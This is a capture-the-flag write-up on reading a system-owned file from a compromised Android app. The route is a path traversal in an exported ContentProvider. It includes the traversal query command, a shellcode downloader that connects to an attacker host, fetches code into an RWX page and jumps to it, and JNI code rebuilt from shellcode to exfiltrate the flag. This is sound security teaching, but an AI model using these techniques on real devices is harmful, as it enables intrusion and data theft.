CTF Shutlock 2026 · pwn Android

Part 1 gave us 0-click native code execution, but under the app’s uid (ctf.shutlock.csms). That was enough for flag1. Not for flag2, which belongs to system: no open() will read it, whatever native code we run. We need to borrow someone else’s rights.

Goal: read /data/vendor/flag2.txt (-r-------- system system) remotely.

TL;DR

RCE in the app != reading everything: flag2 is protected by DAC (uid system). We pivot through a broken vendor ContentProvider (SNotesProvider): a path traversal (content://ctf.shutlock.snotes.provider/../flag2.txt) makes it read the file with its system rights, a confused deputy. Since a provider query() is a Java/Binder operation (not a syscall) and seccomp blocks the execve shortcut, we rebuild a JNIEnv from raw shellcode (resolving JNI_GetCreatedJavaVMs via /proc/self/maps, then GetEnv) and replay ContentResolver.query() in JNI. Payload too big for part 1’s groom: we deliver it in two stages. Content XORed with a key hardcoded in the APK, decoded attacker-side.

Reconnaissance

flag1 was readable by untrusted_app; flag2 isn’t:

-r-------- 1 system system 70 /data/vendor/flag2.txt

Mode 0400, owner system. The app (untrusted_app) takes an EACCES. Arbitrary native code changes nothing: we stay under the app’s weak uid. Escalating the code we run isn’t enough: we have to change who does the read. So we look for a more privileged component: which processes run as uid system without being a standard AOSP component?

adb shell ps -eZ | grep system | grep -v android
# u:r:snotes_provider:s0:c512,c768  system  ...  ctf.shutlock.snotes

Only one custom app stands out: ctf.shutlock.snotes, uid system, dedicated SELinux domain snotes_provider. We pull its APK with adb pull (path given by adb shell pm path ctf.shutlock.snotes) and decompile it.


The pivot

A ContentProvider publishes data behind a content://authority/path URI. When a caller does ContentResolver.query(uri, ...), it doesn’t read the file itself: a Binder call enters the provider’s process, which runs under its own uid (system) and does the access on its behalf. That’s exactly the confused deputy pattern: a system component reading files for an unprivileged caller.

SNotesProvider is exported="true" with no permission (any app can call it), and its query() builds the path without the slightest sanitization:

private final String DIR = "/data/vendor/snotes/";   // this.db
public Cursor query(Uri uri, ...) {
    String path = uri.getPath();
    File file = new File(this.db, path);   // no ".." filtering
    ...
    byte[] bArr = new byte[(int) file.length()];
    fileInputStream.read(bArr);
    String s = new String(xor(bArr));      // XOR hardcoded key (32B)
    MatrixCursor c = new MatrixCursor(new String[]{"content"});
    c.addRow(new Object[]{s});
    return c;
}

uri.getPath() of content://.../../flag2.txt is "/../flag2.txt", so new File("/data/vendor/snotes/", "/../flag2.txt") resolves, at the FileInputStream, to /data/vendor/flag2.txt, read with the provider’s system rights. The content comes back XORed with a 32-byte key hardcoded in the APK, so trivially reversible. We prove the bug without writing a line of exploit, from a plain shell:

adb shell content query --uri "content://ctf.shutlock.snotes.provider/../flag2.txt"
# -> a "content=..." line (the XORed flag) instead of "No result found"

(A content query on ../flag.txt returns “No result found”: the traversal works, it was just the wrong filename.)

The <code>../</code> in the call path escapes the provider’s directory: <code>/data/vendor/snotes/</code> + <code>/../flag2.txt</code> resolves to <code>/data/vendor/flag2.txt</code>, outside the sandbox, read under the system uid

On the MAC side, sesearch on precompiled_sepolicy confirms allow snotes_provider flag2:file { read } and that any app can Binder-call any other. SELinux never blocked this path, only DAC did; the deputy sidesteps DAC.

Why not a shell

The tempting shortcut: execve("/system/bin/content", ...), which SELinux even allows. content re-execs app_process; to capture its output our shellcode first has to redirect stdio onto the socket with dup2. And that’s where it jams: dup2 (syscall 33, x86_64 legacy) isn’t in the apps’ seccomp allowlist, because bionic only emits dup3. So the process dies on SIGSYS at the dup2, before even reaching the execve. Hence: real JNI, not a shell.


From native to Java

Our foothold is native code execution in an RWX page (inherited from part 1), not a .so loaded by the linker. That code speaks only one language: syscalls. In part 1 that was enough, flag1 was a file.

But querying a ContentProvider is not a syscall: it’s a Java/Binder operation. To trigger it we have to climb back up to Java, so a JNIEnv: the table of ~230 functions through which native calls Java. Two sub-problems, which we solve and validate one at a time. No practical debugger on the target: we advance in increments, each one exfiltrating a proof over the socket, one signal to check at a time.

Stage 1: deliver and jump onto our native code

Part 1’s groom writes a value into a freed chunk that’s later executed. It’s capped at 247 bytes and byte-constrained: no 0x20 (space ends a word in the parser) nor }} (end of expression). Too little for a ~2 KB JNI driver. We keep the groom intact and make it carry a byte-clean downloader:

Two-stage split: part 1’s groom (message <= 247 B, byte-clean) delivers a tiny stage1 downloader that pulls the JNI stage2 over raw TCP, unconstrained, which then runs the query and exfiltrates

mmap(NULL, 1 MiB, PROT_READ|WRITE|EXEC, MAP_PRIVATE|ANON)   // RWX page -> r15
socket(); connect(attacker:port)                            // fd -> r12
read(fd, &len, 8); read(fd, r15, len)                       // recv stage2 -> r15
jmp r15

stage2 arrives over raw TCP, with no byte or size constraint. The downloader leaves it a contract: r12 = sockfd (socket still open, reused for exfil), r15 = base of the RWX page. stage2 is freestanding C flattened into a PIC blob (impossible to link a libc into injected code: no loader, no crt0, arbitrary load address):

clang --target=x86_64-linux-gnu -ffreestanding -nostdlib -fPIC -Os -c stage2.c
ld -T flat.ld stage2.o
objcopy -O binary a.out stage2.bin
# readelf -r: only PC32/PLT32, no absolute reloc

First test, before any JNI. We serve a minimal stage2 that just does write(r12, "OK"). We launch the exploit, and if OK comes back, the whole foundation is validated: the downloader does mmap an RWX page, downloads the blob and actually jumps onto it. We run our native code, we can build the rest.

Rebuilding a JNIEnv

env isn’t in /proc/self/maps (a runtime object, per thread, not a symbol). What maps gives is a lib’s base, so the address of an exported function. We go through JNI_GetCreatedJavaVMs, reading the base of libnativehelper.so in /proc/self/maps (buffer >= 1 MB, otherwise the useful line gets truncated; the symbol’s offset is pinned once at readelf):

JavaVM *vm = 0; jsize n = 0; JNIEnv *e = 0;
((getvms_t)(base + 0x5d30))(&vm, 1, &n);           // -> JavaVM (process)
(*vm)->GetEnv(vm, (void **)&e, JNI_VERSION_1_6);   // -> JNIEnv (thread)
  • JavaVM vs JNIEnv. The JavaVM is the global handle (one per process), found via JNI_GetCreatedJavaVMs; the JNIEnv is per thread, returned by GetEnv. The hijacked thread is already attached (it’s the ART thread that was running evaluate), so GetEnv is enough, no AttachCurrentThread.
  • The double arrow. vm/env are pointers to tables of function pointers; (*vm)->GetEnv(vm, ...) dereferences to reach the table, picks the function, and passes the handle back as the 1st argument (the implicit this of the JNI ABI).

Test (two increments): we first exfiltrate libnativehelper’s base (compared to /proc/.../maps, the parse is right), then GetVersion(). Receiving 0x00010006 proves we’ve rebuilt a usable JNIEnv.

(Alternative: env is also recoverable on the stack, it’s the 1st argument of the JNI wrapper; shorter, but you have to pin a stack offset. The maps route is self-contained, we keep it.)

Replaying the query

With env, we replay call by call the equivalent of this Java:

Cursor c = ActivityThread.currentApplication()      // Context
    .getContentResolver()
    .query(Uri.parse("content://ctf.shutlock.snotes.provider/../flag2.txt"),
           null, null, null, null);                  // <- reaches snotes
c.moveToFirst();
String flag = c.getString(0);                        // XORed flag

Each .method(...) translates into the same triple: FindClass -> Get[Static]MethodID(name, signature) -> Call[Static]<Type>Method, with the double arrow (*e)->Fn(e, ...). currentApplication and Uri.parse are static (called on the class); getContentResolver, query, moveToFirst, getString are instance (called on the object). Our char* becomes a Java String via NewStringUTF, and GetStringUTFChars gives back the bytes of the returned String.

The decisive call is the 4th: resolver.query(...) sends the Binder IPC to the system provider, which does the traversal, reads flag2 and returns it XORed. Everything else is just the plumbing to reach that line. Since we’re firing blind, each step drops an error marker (E0..E5): if a call returns NULL, we get the marker and know exactly where it broke, in a single shot.

Last increment: we exfiltrate the XORed bytes, the listener re-applies the 32-byte key -> SHLK{...}. stage2 ends with exit (syscall 60, thread only): it kills the worker, not the process, so no tombstone. The only real success signal is the exfil.


Flag & wrap-up

SHLK{...} exfiltrated 0-click.

  • A DAC (uid) an RCE doesn’t cross: look for a privileged deputy; an exported ContentProvider + path traversal is the perfect way in.
  • Native code only speaks syscalls; to drive a provider you have to climb back to Java by rebuilding a JNIEnv from raw shellcode (manual JVM resolution via maps, no dlopen).
  • What forbids the shell here is seccomp (dup2), not SELinux: check the real cause before concluding.
  • Injected != loaded: freestanding + raw syscalls is the clean idiom, not a fallback; neither stdio nor NDK change the link constraint.
  • With no debugger, you tune by exfiltrating a proof per increment: jump onto the native code, then reception of the JNIEnv, then the chain.

Next: part 3, root and reading flag3 via a kernel LPE.

References